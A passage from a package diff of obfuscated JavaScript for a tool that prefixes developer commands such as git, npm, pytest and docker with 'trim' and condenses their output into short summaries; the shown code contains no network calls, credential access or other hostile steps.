REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x474766(0x1e9)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x474766(0x1f4)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x474766(0x1f5)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':'trim\x20cargo'},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x474766(0x203)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x474766(0x1ee)},{'pattern':/^npx\s+/,'prefix':a0_0x474766(0x1e6)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x474766(0x1ed)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x474766(0x1e2)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x474766(0x205)},{'pattern':/^find\s+/,'prefix':a0_0x474766(0x1e3)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x474766(0x20b)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x474766(0x1e5)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x474766(0x1e1)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':'trim\x20pip'},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x474766(0x201)}];function rewriteCommand(_0x56bc8d){const _0x5f39ce=a0_0x474766,_0x546371=_0x56bc8d[_0x5f39ce(0x1d8)]();if(_0x546371['startsWith'](_0x5f39ce(0x20a)))return _0x546371;for(const _0x35e36a of REWRITE_RULES){if(_0x35e36a['pattern'][_0x5f39ce(0x1f2)](_0x546371))return _0x5f39ce(0x20a)+_0x546371;}return _0x546371;}
1
+ 'use strict';const a0_0x4d4dbf=a0_0x28c9;(function(_0x1ea048,_0x484136){const _0x4f4f16=a0_0x28c9,_0x1e1021=_0x1ea048();while(!![]){try{const _0x474d1c=parseInt(_0x4f4f16(0x1d4))/0x1+parseInt(_0x4f4f16(0x20d))/0x2+-parseInt(_0x4f4f16(0x21c))/0x3+parseInt(_0x4f4f16(0x1fb))/0x4*(-parseInt(_0x4f4f16(0x1da))/0x5)+parseInt(_0x4f4f16(0x1f1))/0x6*(-parseInt(_0x4f4f16(0x1e1))/0x7)+-parseInt(_0x4f4f16(0x1ce))/0x8+-parseInt(_0x4f4f16(0x1e7))/0x9*(-parseInt(_0x4f4f16(0x217))/0xa);if(_0x474d1c===_0x484136)break;else _0x1e1021['push'](_0x1e1021['shift']());}catch(_0x17dfa3){_0x1e1021['push'](_0x1e1021['shift']());}}}(a0_0x7476,0xd2235));Object[a0_0x4d4dbf(0x1e5)](exports,a0_0x4d4dbf(0x219),{'value':!![]}),exports[a0_0x4d4dbf(0x21a)]=compressOutput,exports[a0_0x4d4dbf(0x1dd)]=rewriteCommand;const generic_1=require(a0_0x4d4dbf(0x209)),git_1=require(a0_0x4d4dbf(0x1de)),python_1=require(a0_0x4d4dbf(0x1c2)),js_1=require(a0_0x4d4dbf(0x1c9)),shell_1=require(a0_0x4d4dbf(0x1fa)),rust_1=require(a0_0x4d4dbf(0x1c8)),go_1=require(a0_0x4d4dbf(0x1e2)),devops_1=require(a0_0x4d4dbf(0x1cd)),redactor_1=require(a0_0x4d4dbf(0x1d3));function a0_0x28c9(_0x4cc443,_0x3cc9d0){const _0x7476ff=a0_0x7476();return a0_0x28c9=function(_0x28c95b,_0x2817d8){_0x28c95b=_0x28c95b-0x1be;let _0x41dc43=_0x7476ff[_0x28c95b];return _0x41dc43;},a0_0x28c9(_0x4cc443,_0x3cc9d0);}function compressOutput(_0x22ac5a,_0x174fa3,_0x2bd987,_0x44393c=!![]){const _0x221d91=a0_0x4d4dbf,_0x183c79=_0x22ac5a[_0x221d91(0x1f2)]();let _0x331668=_0x174fa3;_0x2bd987[_0x221d91(0x1f2)]()[_0x221d91(0x1d1)]>0x0&&(_0x331668=_0x174fa3+'\x0a'+_0x2bd987);let _0x249dfa=(0x0,generic_1['stripAnsi'])(_0x331668);_0x44393c&&(_0x249dfa=redactor_1[_0x221d91(0x201)][_0x221d91(0x1bf)](_0x249dfa));const _0x7f641a=_0x183c79[_0x221d91(0x218)]();try{if(_0x7f641a['includes'](_0x221d91(0x1ca))||_0x7f641a['includes'](_0x221d91(0x1f0)))return(0x0,git_1[_0x221d91(0x1eb)])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1ec))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1df)))return(0x0,git_1['filterGitLog'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1e3))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x213))||_0x7f641a['includes'](_0x221d91(0x1cf)))return(0x0,git_1[_0x221d91(0x1d2)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('pytest')||_0x7f641a['match'](/python3?\s+-m\s+pytest/))return(0x0,python_1[_0x221d91(0x1fe)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1e0))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x207)))return(0x0,python_1[_0x221d91(0x1f3)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1f6))||_0x7f641a['includes'](_0x221d91(0x20e)))return(0x0,devops_1['filterRuff'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1f8))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x208))||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x1be))||_0x7f641a[_0x221d91(0x1d0)]('pnpm\x20install')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c1)))return(0x0,js_1[_0x221d91(0x1e6)])(_0x249dfa);if(_0x7f641a['includes']('jest')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c3)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x204))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x202))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x20c))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1d5)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x215)))return(0x0,rust_1[_0x221d91(0x1fc)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c4))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ef))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ee)))return(0x0,rust_1[_0x221d91(0x1e9)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1dc)))return(0x0,go_1[_0x221d91(0x1c0)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('go\x20vet'))return(0x0,go_1[_0x221d91(0x1d6)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+ps/))return(0x0,devops_1[_0x221d91(0x1ff)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+images/))return(0x0,devops_1[_0x221d91(0x1ed)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/docker\s+logs/))return(0x0,devops_1[_0x221d91(0x20b)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('kubectl')){const _0x1b17d8=_0x7f641a['match'](/kubectl\s+(get|logs|describe|apply)/),_0xf75a1=_0x1b17d8?_0x1b17d8[0x1]:'get';return(0x0,devops_1[_0x221d91(0x210)])(_0x249dfa,_0xf75a1);}if(_0x7f641a[_0x221d91(0x216)](/^(ls|dir)(\s|$)/)||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c7))||_0x7f641a['endsWith'](_0x221d91(0x1cc)))return(0x0,shell_1[_0x221d91(0x206)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/^tree(\s|$)/)||_0x7f641a['includes']('\x20tree\x20')||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x20f)))return(0x0,shell_1[_0x221d91(0x1c5)])(_0x249dfa);if(_0x7f641a['match'](/^(cat|head|tail|read|bat)(\s|$)/))return(0x0,shell_1['filterCat'])(_0x249dfa);if(_0x7f641a['match'](/^(grep|rg|ripgrep)(\s|$)/))return(0x0,shell_1['filterGrep'])(_0x249dfa);}catch(_0x371bc0){}return _0x249dfa=(0x0,generic_1[_0x221d91(0x211)])(_0x249dfa),_0x249dfa=(0x0,generic_1[_0x221d91(0x203)])(_0x249dfa,0x4e20),_0x249dfa;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':'trim\x20git'},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x4d4dbf(0x1e8)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x4d4dbf(0x1d9)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x4d4dbf(0x1d7)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x4d4dbf(0x205)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x4d4dbf(0x1db)},{'pattern':/^npx\s+/,'prefix':a0_0x4d4dbf(0x1f7)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x4d4dbf(0x20a)},{'pattern':/^(rg|grep)\s+/,'prefix':'trim\x20grep'},{'pattern':/^ls(\s|$)/,'prefix':a0_0x4d4dbf(0x1f9)},{'pattern':/^tree(\s|$)/,'prefix':'trim\x20tree'},{'pattern':/^find\s+/,'prefix':a0_0x4d4dbf(0x1cb)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x4d4dbf(0x1fd)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x4d4dbf(0x21b)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x4d4dbf(0x1f4)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x4d4dbf(0x1d8)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x4d4dbf(0x1c6)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x4d4dbf(0x1f5)}];function a0_0x7476(){const _0x566e38=['filterKubectl','collapseDuplicates','trim\x20','git\x20show','startsWith','cargo\x20test','match','74310Smhdke','toLowerCase','__esModule','compressOutput','trim\x20kubectl','3000129VLgHAl','npm\x20i','redact','filterGoTest','yarn\x20install','./python','vitest','cargo\x20build','filterTree','trim\x20pip','\x20ls\x20','./rust','./js','git\x20status','trim\x20find','\x20ls','./devops','3399128GoFgRu','yadm\x20diff','includes','length','filterGitDiff','../redactor','1341609pdxcSL','npm\x20run\x20test','filterGoVet','trim\x20cargo','trim\x20ruff','trim\x20glab','15CDcOhP','trim\x20npm','go\x20test','rewriteCommand','./git','yadm\x20log','pip\x20install','63BYmPZH','./go','git\x20diff','endsWith','defineProperty','filterNpmInstall','2916UqofxR','trim\x20gh','filterCargoBuild','filterJestVitest','filterGitStatus','git\x20log','filterDockerImages','cargo\x20clippy','cargo\x20check','yadm\x20status','40428RgGWnQ','trim','filterPipInstall','trim\x20pytest','trim\x20go','ruff\x20check','trim\x20npx','npm\x20install','trim\x20ls','./shell','2221820ByilbE','filterCargoTest','trim\x20docker','filterPytest','filterDockerPs','pattern','redactor','pnpm\x20test','softTruncate','npm\x20test','trim\x20pnpm','filterLs','pip3\x20install','npm\x20i\x20','./generic','trim\x20read','filterDockerLogs','yarn\x20test','526826DZPYuE','ruff\x20','\x20tree'];a0_0x7476=function(){return _0x566e38;};return a0_0x7476();}function rewriteCommand(_0x27c7cd){const _0x9ca0e3=a0_0x4d4dbf,_0x4217b9=_0x27c7cd[_0x9ca0e3(0x1f2)]();if(_0x4217b9[_0x9ca0e3(0x214)](_0x9ca0e3(0x212)))return _0x4217b9;for(const _0x3e3600 of REWRITE_RULES){if(_0x3e3600[_0x9ca0e3(0x200)]['test'](_0x4217b9))return _0x9ca0e3(0x212)+_0x4217b9;}return _0x4217b9;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x559e(){const _0x46fb98=['1228328kxfywv','match','replace','defineProperty','Test\x20Files:','up\x20to\x20date','added\x20','4162016HCYyNh','\x20failed\x20(','length','found\x20','__esModule','254607NoPuMn','all','push','includes','8HsEYAe','startsWith','\x20lines\x20of\x20trace\x20details\x20truncated)','236796riUMdx','\x20\x20...\x20(','slice','filterNpmInstall','split','7926363muzdQX','\x20passed','1029370WOuHEw','4178251zvzQXh','125VuJDFC','filterJestVitest','\x0aFailures:','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully','join','Test\x20Runner:\x20','trim','\x20passed,\x20'];a0_0x559e=function(){return _0x46fb98;};return a0_0x559e();}const a0_0x358ecd=a0_0x1a2a;(function(_0x2edf66,_0x50dccd){const _0xd6d278=a0_0x1a2a,_0x163e0d=_0x2edf66();while(!![]){try{const _0x49682a=parseInt(_0xd6d278(0xd1))/0x1+-parseInt(_0xd6d278(0xdc))/0x2+-parseInt(_0xd6d278(0xc3))/0x3*(-parseInt(_0xd6d278(0xc7))/0x4)+-parseInt(_0xd6d278(0xd3))/0x5*(parseInt(_0xd6d278(0xca))/0x6)+parseInt(_0xd6d278(0xd2))/0x7+-parseInt(_0xd6d278(0xbe))/0x8+parseInt(_0xd6d278(0xcf))/0x9;if(_0x49682a===_0x50dccd)break;else _0x163e0d['push'](_0x163e0d['shift']());}catch(_0x3ed0f2){_0x163e0d['push'](_0x163e0d['shift']());}}}(a0_0x559e,0x87a7a));Object[a0_0x358ecd(0xdf)](exports,a0_0x358ecd(0xc2),{'value':!![]}),exports[a0_0x358ecd(0xcd)]=filterNpmInstall,exports[a0_0x358ecd(0xd4)]=filterJestVitest;function a0_0x1a2a(_0x4fd1e5,_0x3b7ff3){_0x4fd1e5=_0x4fd1e5-0xbd;const _0x559e03=a0_0x559e();let _0x1a2a31=_0x559e03[_0x4fd1e5];return _0x1a2a31;}function filterNpmInstall(_0x56e7e5){const _0x21c459=a0_0x358ecd,_0x4adc70=_0x56e7e5[_0x21c459(0xde)](/\r/g,'\x0a'),_0x316c31=_0x4adc70[_0x21c459(0xce)]('\x0a'),_0x4f9932=[];for(const _0x2a0f93 of _0x316c31){const _0x408ce4=_0x2a0f93[_0x21c459(0xda)]();(_0x408ce4['includes'](_0x21c459(0xbd))||_0x408ce4[_0x21c459(0xc6)]('removed\x20')||_0x408ce4[_0x21c459(0xc6)]('audited\x20')||_0x408ce4[_0x21c459(0xc6)](_0x21c459(0xe1))||_0x408ce4['includes'](_0x21c459(0xc1)))&&(!_0x408ce4[_0x21c459(0xc6)]('%')&&!_0x408ce4['startsWith']('⠋')&&!_0x408ce4[_0x21c459(0xc8)]('⠙')&&_0x4f9932['push'](_0x408ce4));}const _0x50faeb=_0x4f9932[_0x21c459(0xd8)]('\x0a')[_0x21c459(0xda)]();return _0x50faeb[_0x21c459(0xc0)]>0x0?_0x50faeb:_0x21c459(0xd7);}function filterJestVitest(_0x41a26f){const _0x18074f=a0_0x358ecd,_0x50187a=_0x41a26f[_0x18074f(0xce)]('\x0a');let _0x54e5de=0x0,_0x20f83a=0x0,_0x5269f3=0x0;const _0x5ff156=[];let _0x11febf=![];for(const _0xb8bb7c of _0x50187a){const _0x5e8f97=_0xb8bb7c[_0x18074f(0xda)]();if(_0x5e8f97[_0x18074f(0xc8)]('Tests:')||_0x5e8f97[_0x18074f(0xc6)](_0x18074f(0xe0))){const _0x397799=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x2473be=_0x5e8f97['match'](/(\d+)\s+failed/),_0x51c03b=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+total/);if(_0x397799)_0x54e5de=parseInt(_0x397799[0x1]);if(_0x2473be)_0x20f83a=parseInt(_0x2473be[0x1]);if(_0x51c03b)_0x5269f3=parseInt(_0x51c03b[0x1]);continue;}(_0x5e8f97[_0x18074f(0xc8)]('❯')||_0x5e8f97[_0x18074f(0xc8)]('●')||_0x5e8f97[_0x18074f(0xc8)]('FAIL\x20\x20'))&&(_0x11febf=!![]),_0x11febf&&(_0x5e8f97[_0x18074f(0xc0)]>0x0&&!_0x5e8f97[_0x18074f(0xc8)]('Test\x20Suites:')&&!_0x5e8f97['startsWith']('Tests:')&&_0x5ff156['push'](_0xb8bb7c));}if(_0x5269f3===0x0&&_0x54e5de===0x0&&_0x20f83a===0x0){if(_0x41a26f[_0x18074f(0xc6)]('PASS')&&!_0x41a26f['includes'](_0x18074f(0xd6))){const _0x5e97cb=_0x41a26f[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x15f7a1=_0x5e97cb?_0x5e97cb[0x1]:_0x18074f(0xc4);return _0x18074f(0xd9)+_0x15f7a1+_0x18074f(0xd0);}return _0x41a26f;}if(_0x20f83a===0x0&&_0x54e5de>0x0)return'Test\x20Runner:\x20'+_0x54e5de+_0x18074f(0xd0);const _0x16cf6d=[_0x18074f(0xd9)+_0x54e5de+_0x18074f(0xdb)+_0x20f83a+_0x18074f(0xbf)+_0x5269f3+'\x20total)'];if(_0x5ff156['length']>0x0){_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xd5));const _0x4c5c89=0x19,_0x1e28eb=_0x5ff156[_0x18074f(0xcc)](0x0,_0x4c5c89);for(const _0x576c63 of _0x1e28eb){_0x16cf6d['push']('\x20\x20'+_0x576c63);}_0x5ff156[_0x18074f(0xc0)]>_0x4c5c89&&_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xcb)+(_0x5ff156['length']-_0x4c5c89)+_0x18074f(0xc9));}return _0x16cf6d[_0x18074f(0xd8)]('\x0a');}
1
+ 'use strict';const a0_0x3c9ac9=a0_0x4068;(function(_0x140bc9,_0x4dff9f){const _0x50825f=a0_0x4068,_0x4b574c=_0x140bc9();while(!![]){try{const _0x2e01e7=parseInt(_0x50825f(0x1b9))/0x1*(parseInt(_0x50825f(0x1c0))/0x2)+parseInt(_0x50825f(0x1a1))/0x3+parseInt(_0x50825f(0x1a9))/0x4*(-parseInt(_0x50825f(0x1a2))/0x5)+parseInt(_0x50825f(0x1c3))/0x6*(parseInt(_0x50825f(0x1a6))/0x7)+parseInt(_0x50825f(0x1b1))/0x8+parseInt(_0x50825f(0x1b3))/0x9+-parseInt(_0x50825f(0x19f))/0xa;if(_0x2e01e7===_0x4dff9f)break;else _0x4b574c['push'](_0x4b574c['shift']());}catch(_0x376861){_0x4b574c['push'](_0x4b574c['shift']());}}}(a0_0x3ab5,0xbc384));function a0_0x4068(_0xcf0621,_0x4ddaf7){const _0x3ab53a=a0_0x3ab5();return a0_0x4068=function(_0x406813,_0x4da97a){_0x406813=_0x406813-0x19e;let _0x35b451=_0x3ab53a[_0x406813];return _0x35b451;},a0_0x4068(_0xcf0621,_0x4ddaf7);}function a0_0x3ab5(){const _0x384a9a=['__esModule','\x20passed','2JVTtOe','\x20total)','slice','316074PTTvXt','FAIL\x20\x20','25318270TsGVFR','push','2777460JVNohC','5gYjNKI','Tests:','Test\x20Suites:','PASS','49RReNvN','filterNpmInstall','Test\x20Runner:\x20','4424516bkIOqv','Test\x20Files:','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','NPM:\x20Packages\x20verified/installed\x20successfully','includes','trim','FAIL','11139296lxzljj','length','6415371WLeItJ','split','match','\x20\x20...\x20(','filterJestVitest','\x20failed\x20(','1009100OUtITr','all','\x20passed,\x20','replace','join'];a0_0x3ab5=function(){return _0x384a9a;};return a0_0x3ab5();}Object['defineProperty'](exports,a0_0x3c9ac9(0x1be),{'value':!![]}),exports[a0_0x3c9ac9(0x1a7)]=filterNpmInstall,exports[a0_0x3c9ac9(0x1b7)]=filterJestVitest;function filterNpmInstall(_0x158040){const _0x19cdea=a0_0x3c9ac9,_0x4ef881=_0x158040[_0x19cdea(0x1bc)](/\r/g,'\x0a'),_0x904bb0=_0x4ef881[_0x19cdea(0x1b4)]('\x0a'),_0x45d9dd=[];for(const _0x714648 of _0x904bb0){const _0x1a1de7=_0x714648[_0x19cdea(0x1af)]();(_0x1a1de7['includes']('added\x20')||_0x1a1de7['includes']('removed\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('audited\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('up\x20to\x20date')||_0x1a1de7[_0x19cdea(0x1ae)]('found\x20'))&&(!_0x1a1de7[_0x19cdea(0x1ae)]('%')&&!_0x1a1de7['startsWith']('⠋')&&!_0x1a1de7[_0x19cdea(0x1ac)]('⠙')&&_0x45d9dd[_0x19cdea(0x1a0)](_0x1a1de7));}const _0x4cc109=_0x45d9dd[_0x19cdea(0x1bd)]('\x0a')[_0x19cdea(0x1af)]();return _0x4cc109['length']>0x0?_0x4cc109:_0x19cdea(0x1ad);}function filterJestVitest(_0x3a148a){const _0x533b98=a0_0x3c9ac9,_0x5901cc=_0x3a148a[_0x533b98(0x1b4)]('\x0a');let _0x164ab8=0x0,_0x19e84e=0x0,_0x315c77=0x0;const _0x1a6994=[];let _0x56255e=![];for(const _0x905793 of _0x5901cc){const _0x247bae=_0x905793[_0x533b98(0x1af)]();if(_0x247bae['startsWith'](_0x533b98(0x1a3))||_0x247bae[_0x533b98(0x1ae)](_0x533b98(0x1aa))){const _0x18cec2=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x440d3f=_0x247bae['match'](/(\d+)\s+failed/),_0x525636=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+total/);if(_0x18cec2)_0x164ab8=parseInt(_0x18cec2[0x1]);if(_0x440d3f)_0x19e84e=parseInt(_0x440d3f[0x1]);if(_0x525636)_0x315c77=parseInt(_0x525636[0x1]);continue;}(_0x247bae[_0x533b98(0x1ac)]('❯')||_0x247bae['startsWith']('●')||_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x19e)))&&(_0x56255e=!![]),_0x56255e&&(_0x247bae[_0x533b98(0x1b2)]>0x0&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a4))&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a3))&&_0x1a6994[_0x533b98(0x1a0)](_0x905793));}if(_0x315c77===0x0&&_0x164ab8===0x0&&_0x19e84e===0x0){if(_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1a5))&&!_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1b0))){const _0x365b76=_0x3a148a[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x8c7e7f=_0x365b76?_0x365b76[0x1]:_0x533b98(0x1ba);return _0x533b98(0x1a8)+_0x8c7e7f+_0x533b98(0x1bf);}return _0x3a148a;}if(_0x19e84e===0x0&&_0x164ab8>0x0)return _0x533b98(0x1a8)+_0x164ab8+'\x20passed';const _0x1c7d75=[_0x533b98(0x1a8)+_0x164ab8+_0x533b98(0x1bb)+_0x19e84e+_0x533b98(0x1b8)+_0x315c77+_0x533b98(0x1c1)];if(_0x1a6994[_0x533b98(0x1b2)]>0x0){_0x1c7d75[_0x533b98(0x1a0)]('\x0aFailures:');const _0x43278d=0x19,_0x261fd7=_0x1a6994[_0x533b98(0x1c2)](0x0,_0x43278d);for(const _0xcede9f of _0x261fd7){_0x1c7d75[_0x533b98(0x1a0)]('\x20\x20'+_0xcede9f);}_0x1a6994[_0x533b98(0x1b2)]>_0x43278d&&_0x1c7d75[_0x533b98(0x1a0)](_0x533b98(0x1b6)+(_0x1a6994[_0x533b98(0x1b2)]-_0x43278d)+_0x533b98(0x1ab));}return _0x1c7d75[_0x533b98(0x1bd)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x493b62=a0_0x4a50;(function(_0x4ace56,_0xdc206b){const _0x323d61=a0_0x4a50,_0x31afc2=_0x4ace56();while(!![]){try{const _0x21a644=parseInt(_0x323d61(0x7f))/0x1+parseInt(_0x323d61(0x73))/0x2+-parseInt(_0x323d61(0x86))/0x3+-parseInt(_0x323d61(0x89))/0x4*(parseInt(_0x323d61(0x83))/0x5)+-parseInt(_0x323d61(0x95))/0x6*(-parseInt(_0x323d61(0x93))/0x7)+parseInt(_0x323d61(0x72))/0x8+parseInt(_0x323d61(0x70))/0x9;if(_0x21a644===_0xdc206b)break;else _0x31afc2['push'](_0x31afc2['shift']());}catch(_0x431488){_0x31afc2['push'](_0x31afc2['shift']());}}}(a0_0x6240,0xba6a6));Object[a0_0x493b62(0x82)](exports,a0_0x493b62(0x8a),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x493b62(0x88)]=filterPipInstall;function filterPytest(_0x388c03){const _0x540429=a0_0x493b62,_0x27fe0e=_0x388c03[_0x540429(0x7b)]('\x0a');let _0xded5a7=0x0,_0x413983=0x0,_0x26e28a=0x0,_0x1c88a4=0x0,_0x528626=0x0;const _0x129c1f=[];let _0x6488db=[],_0x206c65=![];for(const _0x4e4b3b of _0x27fe0e){const _0x350178=_0x4e4b3b[_0x540429(0x71)]();if(_0x350178['startsWith'](_0x540429(0x80))||_0x350178[_0x540429(0x7d)](_0x540429(0x75))){_0x206c65=!![];continue;}else(_0x350178[_0x540429(0x7d)](_0x540429(0x8d))||_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x81)))&&(_0x206c65=![],_0x6488db['length']>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]));if(_0x206c65){if(_0x350178[_0x540429(0x7d)](_0x540429(0x87)))_0x6488db[_0x540429(0x77)]>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]),_0x6488db['push'](_0x350178);else _0x350178[_0x540429(0x77)]>0x0&&_0x6488db[_0x540429(0x7e)](_0x4e4b3b);continue;}if(_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x6c))){const _0x545444=_0x350178[_0x540429(0x6b)](/(\d+)\s+passed/),_0x4c901e=_0x350178[_0x540429(0x6b)](/(\d+)\s+failed/),_0x3d33e9=_0x350178[_0x540429(0x6b)](/(\d+)\s+skipped/),_0x5f1b0d=_0x350178[_0x540429(0x6b)](/(\d+)\s+xfailed/),_0x2a460d=_0x350178['match'](/(\d+)\s+xpassed/);if(_0x545444)_0xded5a7=parseInt(_0x545444[0x1]);if(_0x4c901e)_0x413983=parseInt(_0x4c901e[0x1]);if(_0x3d33e9)_0x26e28a=parseInt(_0x3d33e9[0x1]);if(_0x5f1b0d)_0x1c88a4=parseInt(_0x5f1b0d[0x1]);if(_0x2a460d)_0x528626=parseInt(_0x2a460d[0x1]);}}_0x6488db[_0x540429(0x77)]>0x0&&_0x129c1f[_0x540429(0x7e)](_0x6488db);if(_0xded5a7===0x0&&_0x413983===0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0){if(_0x388c03[_0x540429(0x6f)](_0x540429(0x81))&&!_0x388c03[_0x540429(0x6f)](_0x540429(0x90)))return _0x540429(0x8b);return _0x388c03;}if(_0x413983===0x0&&_0xded5a7>0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0)return _0x540429(0x6d)+_0xded5a7+'\x20passed';const _0x324e4c=[];_0x324e4c[_0x540429(0x7e)](_0x540429(0x6d)+_0xded5a7+_0x540429(0x6e));if(_0x413983>0x0)_0x324e4c[_0x540429(0x7e)](_0x413983+_0x540429(0x7c));if(_0x26e28a>0x0)_0x324e4c['push'](_0x26e28a+_0x540429(0x7a));if(_0x1c88a4>0x0)_0x324e4c[_0x540429(0x7e)](_0x1c88a4+_0x540429(0x94));if(_0x528626>0x0)_0x324e4c[_0x540429(0x7e)](_0x528626+_0x540429(0x84));const _0x2b4a6d=[_0x324e4c[_0x540429(0x6a)](',\x20')];if(_0x129c1f[_0x540429(0x77)]>0x0){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x85));const _0x3788fb=0x3,_0x92b52b=_0x129c1f[_0x540429(0x92)](0x0,_0x3788fb);for(let _0x5d99a7=0x0;_0x5d99a7<_0x92b52b[_0x540429(0x77)];_0x5d99a7++){const _0x46b5ed=_0x92b52b[_0x5d99a7],_0x5e714a=_0x46b5ed[0x0][_0x540429(0x91)](/_/g,'')[_0x540429(0x71)]();_0x2b4a6d[_0x540429(0x7e)]('\x20\x20'+(_0x5d99a7+0x1)+_0x540429(0x68)+_0x5e714a);const _0x356efb=_0x46b5ed['slice'](0x1),_0x5358d4=_0x356efb['filter'](_0xf0e7c4=>{const _0x67c93d=_0x540429,_0x5d2757=_0xf0e7c4['trim']();return _0x5d2757[_0x67c93d(0x7d)]('>')||_0x5d2757[_0x67c93d(0x7d)](_0x67c93d(0x67))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8f))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8c));});for(const _0x11ded0 of 